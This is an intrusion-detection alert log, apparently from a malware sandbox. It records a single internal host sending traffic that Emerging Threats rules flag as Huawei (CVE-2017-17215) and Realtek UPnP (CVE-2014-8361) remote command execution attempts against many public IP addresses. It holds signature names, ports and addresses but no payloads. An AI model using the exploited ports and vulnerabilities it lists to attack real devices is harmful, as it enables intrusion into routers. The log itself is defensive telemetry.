07/20/24-23:01:25.281101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45606	37215	192.168.2.14	157.231.193.50
07/20/24-23:01:13.335386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37858	52869	192.168.2.14	58.141.211.31
07/20/24-23:01:37.167957	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35850	37215	192.168.2.14	157.107.88.82
07/20/24-23:01:13.333560	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59548	52869	192.168.2.14	149.3.41.152
07/20/24-23:01:25.298710	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44148	37215	192.168.2.14	197.248.16.87
07/20/24-23:01:05.900314	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34592	37215	192.168.2.14	197.91.36.141
07/20/24-23:01:25.298710	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34252	37215	192.168.2.14	197.206.72.43
07/20/24-23:01:33.047902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48452	37215	192.168.2.14	197.46.214.138
07/20/24-23:01:05.565667	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33754	52869	192.168.2.14	130.69.123.40
07/20/24-23:01:33.037346	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48318	37215	192.168.2.14	197.110.196.75
07/20/24-23:01:32.304172	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34960	52869	192.168.2.14	23.217.181.6
07/20/24-23:01:34.899868	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59132	52869	192.168.2.14	119.229.5.254
07/20/24-23:01:14.396807	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39116	37215	192.168.2.14	91.148.85.48
07/20/24-23:01:28.196416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34900	37215	192.168.2.14	197.201.60.217
07/20/24-23:01:33.727604	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58358	52869	192.168.2.14	79.118.207.216
07/20/24-23:01:24.495331	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33372	52869	192.168.2.14	107.169.50.209
07/20/24-23:01:31.132775	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42504	52869	192.168.2.14	51.61.18.6
07/20/24-23:01:13.334388	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56612	52869	192.168.2.14	90.146.163.93
07/20/24-23:01:06.007807	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54724	52869	192.168.2.14	196.52.15.30
07/20/24-23:01:14.406186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52670	37215	192.168.2.14	197.217.48.202
07/20/24-23:01:13.331147	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36460	52869	192.168.2.14	162.57.74.72
07/20/24-23:01:14.401003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59954	37215	192.168.2.14	197.234.33.66
07/20/24-23:01:33.100578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34396	37215	192.168.2.14	201.35.76.112
07/20/24-23:01:34.983816	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35340	52869	192.168.2.14	46.8.125.37
07/20/24-23:01:34.983816	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33344	52869	192.168.2.14	45.152.27.139
07/20/24-23:01:25.288605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35994	37215	192.168.2.14	197.81.248.145
07/20/24-23:01:02.440694	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33668	37215	192.168.2.14	197.146.102.184
07/20/24-23:01:33.655350	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42590	52869	192.168.2.14	198.253.51.117
07/20/24-23:01:23.038662	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60336	52869	192.168.2.14	190.210.219.152
07/20/24-23:01:19.231228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45324	37215	192.168.2.14	41.241.21.214
07/20/24-23:01:14.405098	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55130	37215	192.168.2.14	157.109.42.214
07/20/24-23:01:07.666600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53446	37215	192.168.2.14	222.112.36.27
07/20/24-23:01:34.952293	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33642	52869	192.168.2.14	133.211.191.92
07/20/24-23:01:05.892501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47282	37215	192.168.2.14	175.136.209.167
07/20/24-23:01:34.907114	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33296	52869	192.168.2.14	9.55.208.82
07/20/24-23:01:29.175082	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42712	52869	192.168.2.14	194.223.113.142
07/20/24-23:01:07.676921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58484	37215	192.168.2.14	197.211.130.216
07/20/24-23:01:34.980138	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59224	52869	192.168.2.14	90.112.65.145
07/20/24-23:01:14.398311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56678	37215	192.168.2.14	191.75.82.97
07/20/24-23:01:29.169426	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51868	52869	192.168.2.14	14.9.177.37
07/20/24-23:01:28.142774	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44806	37215	192.168.2.14	197.132.5.231
07/20/24-23:01:11.483526	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41768	37215	192.168.2.14	41.139.78.105
07/20/24-23:01:30.707836	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55866	52869	192.168.2.14	66.217.163.116
07/20/24-23:01:02.411662	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34332	37215	192.168.2.14	157.183.27.248
07/20/24-23:01:22.772933	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39898	37215	192.168.2.14	157.112.88.160
07/20/24-23:01:22.782671	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48568	37215	192.168.2.14	157.60.225.59
07/20/24-23:01:29.189808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52218	52869	192.168.2.14	183.162.94.65
07/20/24-23:01:02.414850	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44708	37215	192.168.2.14	41.7.80.153
07/20/24-23:01:06.626517	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59690	52869	192.168.2.14	97.182.119.204
07/20/24-23:01:33.038711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38034	37215	192.168.2.14	157.61.42.60
07/20/24-23:01:33.069192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47668	37215	192.168.2.14	176.192.185.101
07/20/24-23:01:24.713301	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49406	52869	192.168.2.14	66.251.168.249
07/20/24-23:01:33.084068	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58948	37215	192.168.2.14	115.13.49.74
07/20/24-23:01:25.282254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54748	37215	192.168.2.14	197.201.136.184
07/20/24-23:01:14.400300	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55054	37215	192.168.2.14	41.72.60.44
07/20/24-23:01:05.487437	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54828	52869	192.168.2.14	40.122.199.14
07/20/24-23:01:11.454417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39712	37215	192.168.2.14	197.145.89.132
07/20/24-23:01:24.078416	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42766	52869	192.168.2.14	125.128.116.127
07/20/24-23:01:13.332260	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49224	52869	192.168.2.14	217.244.72.189
07/20/24-23:01:19.335313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35632	37215	192.168.2.14	41.54.91.179
07/20/24-23:01:25.288605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46882	37215	192.168.2.14	41.244.63.43
07/20/24-23:01:05.593053	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35304	52869	192.168.2.14	162.57.74.72
07/20/24-23:01:23.042223	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38476	52869	192.168.2.14	59.161.187.149
07/20/24-23:01:25.281450	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60678	37215	192.168.2.14	31.67.243.181
07/20/24-23:01:05.533350	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35510	52869	192.168.2.14	146.178.29.63
07/20/24-23:01:33.043558	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40182	37215	192.168.2.14	157.85.32.235
07/20/24-23:01:37.199306	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52026	37215	192.168.2.14	157.126.92.122
07/20/24-23:01:25.281101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47066	37215	192.168.2.14	157.224.167.247
07/20/24-23:01:29.541847	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41856	52869	192.168.2.14	210.189.81.4
07/20/24-23:01:34.920034	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35826	52869	192.168.2.14	70.231.21.112
07/20/24-23:01:34.899868	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56584	52869	192.168.2.14	81.96.77.48
07/20/24-23:01:19.334827	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40756	37215	192.168.2.14	197.195.213.197
07/20/24-23:01:37.163818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60274	37215	192.168.2.14	41.151.23.250
07/20/24-23:01:25.283565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46362	37215	192.168.2.14	41.114.237.10
07/20/24-23:01:34.964842	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35474	52869	192.168.2.14	189.27.2.190
07/20/24-23:01:13.333328	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55668	52869	192.168.2.14	209.180.225.131
07/20/24-23:01:37.214680	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39654	37215	192.168.2.14	157.136.120.76
07/20/24-23:01:02.411663	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47626	37215	192.168.2.14	41.160.188.126
07/20/24-23:01:14.397786	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57088	37215	192.168.2.14	156.251.228.219
07/20/24-23:01:33.047902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51178	37215	192.168.2.14	197.153.89.176
07/20/24-23:01:32.121660	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58198	52869	192.168.2.14	95.58.16.105
07/20/24-23:01:33.070886	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50418	37215	192.168.2.14	71.221.176.212
07/20/24-23:01:34.920034	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52544	52869	192.168.2.14	164.158.91.189
07/20/24-23:01:02.412965	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43488	37215	192.168.2.14	41.226.92.193
07/20/24-23:01:23.079615	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44326	52869	192.168.2.14	171.71.112.103
07/20/24-23:01:28.170987	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52508	37215	192.168.2.14	197.138.54.130
07/20/24-23:01:29.187581	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47946	52869	192.168.2.14	58.199.141.7
07/20/24-23:01:25.281101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47066	37215	192.168.2.14	157.224.167.247
07/20/24-23:01:22.846232	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55654	52869	192.168.2.14	102.213.194.254
07/20/24-23:01:19.227537	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33838	37215	192.168.2.14	41.74.123.142
07/20/24-23:01:33.056745	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47358	37215	192.168.2.14	157.55.49.211
07/20/24-23:01:06.852960	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46686	52869	192.168.2.14	126.63.129.65
07/20/24-23:01:02.414137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57054	37215	192.168.2.14	197.77.31.163
07/20/24-23:01:11.454991	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45242	37215	192.168.2.14	41.90.150.101
07/20/24-23:01:25.294838	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60386	52869	192.168.2.14	186.138.141.187
07/20/24-23:01:02.411662	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59918	37215	192.168.2.14	145.169.160.7
07/20/24-23:01:33.572374	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52992	52869	192.168.2.14	87.188.195.240
07/20/24-23:01:24.080444	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44184	52869	192.168.2.14	42.203.55.38
07/20/24-23:01:23.000602	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41844	52869	192.168.2.14	37.157.73.197
07/20/24-23:01:29.739552	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58424	52869	192.168.2.14	86.27.131.229
07/20/24-23:01:34.910407	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41156	52869	192.168.2.14	59.155.45.17
07/20/24-23:01:13.331420	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46272	52869	192.168.2.14	181.129.237.7
07/20/24-23:01:28.143994	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42642	37215	192.168.2.14	41.106.121.122
07/20/24-23:01:05.895934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33982	37215	192.168.2.14	157.155.48.39
07/20/24-23:01:13.330329	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47916	52869	192.168.2.14	13.188.216.17
07/20/24-23:01:30.719960	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50138	52869	192.168.2.14	100.194.218.244
07/20/24-23:01:31.092418	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40184	52869	192.168.2.14	158.56.98.102
07/20/24-23:01:05.898280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47986	37215	192.168.2.14	208.162.133.146
07/20/24-23:01:05.898214	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48926	37215	192.168.2.14	200.159.126.71
07/20/24-23:01:11.477507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55880	37215	192.168.2.14	41.23.188.13
07/20/24-23:01:05.628737	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47046	52869	192.168.2.14	190.144.135.107
07/20/24-23:01:06.599622	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48578	52869	192.168.2.14	209.87.192.88
07/20/24-23:01:33.030189	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53760	37215	192.168.2.14	75.210.8.237
07/20/24-23:01:07.682290	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42318	37215	192.168.2.14	157.99.211.107
07/20/24-23:01:34.929652	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55658	52869	192.168.2.14	168.49.16.106
07/20/24-23:01:31.312736	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46358	52869	192.168.2.14	53.20.227.219
07/20/24-23:01:02.410515	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40600	37215	192.168.2.14	197.59.92.194
07/20/24-23:01:07.680629	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36036	37215	192.168.2.14	157.21.144.252
07/20/24-23:01:37.160288	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35018	37215	192.168.2.14	176.88.4.158
07/20/24-23:01:37.122769	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54894	37215	192.168.2.14	157.191.90.153
07/20/24-23:01:25.283485	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51298	37215	192.168.2.14	221.79.184.211
07/20/24-23:01:02.411662	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43890	37215	192.168.2.14	157.255.17.174
07/20/24-23:01:25.291116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41702	37215	192.168.2.14	49.23.181.254
07/20/24-23:01:13.329548	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33402	52869	192.168.2.14	121.241.252.236
07/20/24-23:01:29.677384	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36664	52869	192.168.2.14	85.145.238.146
07/20/24-23:01:37.227353	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47282	37215	192.168.2.14	197.92.63.204
07/20/24-23:01:39.711137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60568	37215	192.168.2.14	197.137.176.68
07/20/24-23:01:33.030188	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51522	37215	192.168.2.14	41.221.60.226
07/20/24-23:01:25.288605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54302	37215	192.168.2.14	157.113.213.117
07/20/24-23:01:28.389273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58658	37215	192.168.2.14	197.113.150.224
07/20/24-23:01:13.334111	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47872	52869	192.168.2.14	87.85.193.52
07/20/24-23:01:13.332449	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49036	52869	192.168.2.14	152.149.61.199
07/20/24-23:01:29.703487	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53464	52869	192.168.2.14	202.94.49.200
07/20/24-23:01:19.223034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33640	37215	192.168.2.14	109.187.96.167
07/20/24-23:01:19.235468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48150	37215	192.168.2.14	157.131.216.90
07/20/24-23:01:25.281101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41338	37215	192.168.2.14	157.169.160.238
07/20/24-23:01:13.331580	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55904	52869	192.168.2.14	196.52.15.30
07/20/24-23:01:22.777005	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43632	37215	192.168.2.14	35.148.236.78
07/20/24-23:01:34.902184	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48516	52869	192.168.2.14	100.167.118.103
07/20/24-23:01:22.766375	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60816	37215	192.168.2.14	41.148.155.207
07/20/24-23:01:29.181762	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39664	52869	192.168.2.14	207.154.52.96
07/20/24-23:01:05.458731	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41716	52869	192.168.2.14	64.117.200.225
07/20/24-23:01:06.357829	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36720	52869	192.168.2.14	60.68.1.166
07/20/24-23:01:37.166003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34842	37215	192.168.2.14	41.90.51.53
07/20/24-23:01:05.892501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38372	37215	192.168.2.14	157.150.55.229
07/20/24-23:01:05.767682	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54000	52869	192.168.2.14	54.198.216.131
07/20/24-23:01:29.198098	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57072	52869	192.168.2.14	106.139.202.117
07/20/24-23:01:11.459583	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60488	37215	192.168.2.14	197.27.15.71
07/20/24-23:01:05.460763	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47030	52869	192.168.2.14	177.26.169.251
07/20/24-23:01:11.467355	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55442	37215	192.168.2.14	41.164.244.86
07/20/24-23:01:22.781976	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47560	37215	192.168.2.14	41.105.99.222
07/20/24-23:01:07.679354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54224	37215	192.168.2.14	18.185.167.223
07/20/24-23:01:05.897173	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44782	37215	192.168.2.14	41.99.96.147
07/20/24-23:01:25.292315	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46822	52869	192.168.2.14	78.159.95.203
07/20/24-23:01:28.175716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41282	37215	192.168.2.14	157.157.249.63
07/20/24-23:01:06.133183	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44268	52869	192.168.2.14	5.43.253.115
07/20/24-23:01:22.769838	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39296	37215	192.168.2.14	82.217.52.153
07/20/24-23:01:05.920528	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43838	37215	192.168.2.14	157.98.176.2
07/20/24-23:01:13.328983	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33036	52869	192.168.2.14	31.235.249.101
07/20/24-23:01:05.927305	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36596	37215	192.168.2.14	175.127.227.163
07/20/24-23:01:05.822299	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57638	52869	192.168.2.14	124.90.204.138
07/20/24-23:01:34.903669	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46846	52869	192.168.2.14	135.89.106.236
07/20/24-23:01:28.200134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43552	37215	192.168.2.14	41.249.94.160
07/20/24-23:01:13.332596	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59264	52869	192.168.2.14	174.117.157.2
07/20/24-23:01:14.401421	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49138	37215	192.168.2.14	41.108.209.166
07/20/24-23:01:25.291116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34238	37215	192.168.2.14	41.213.179.11
07/20/24-23:01:02.414137	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36598	37215	192.168.2.14	197.170.105.28
07/20/24-23:01:34.935674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59818	52869	192.168.2.14	95.58.16.105
07/20/24-23:01:33.046879	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55574	37215	192.168.2.14	45.242.224.131
07/20/24-23:01:19.221647	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54190	37215	192.168.2.14	157.145.181.40
07/20/24-23:01:34.911761	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51648	52869	192.168.2.14	100.194.218.244
07/20/24-23:01:37.121609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51312	37215	192.168.2.14	157.232.232.165
07/20/24-23:01:34.899753	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42134	52869	192.168.2.14	42.119.93.45
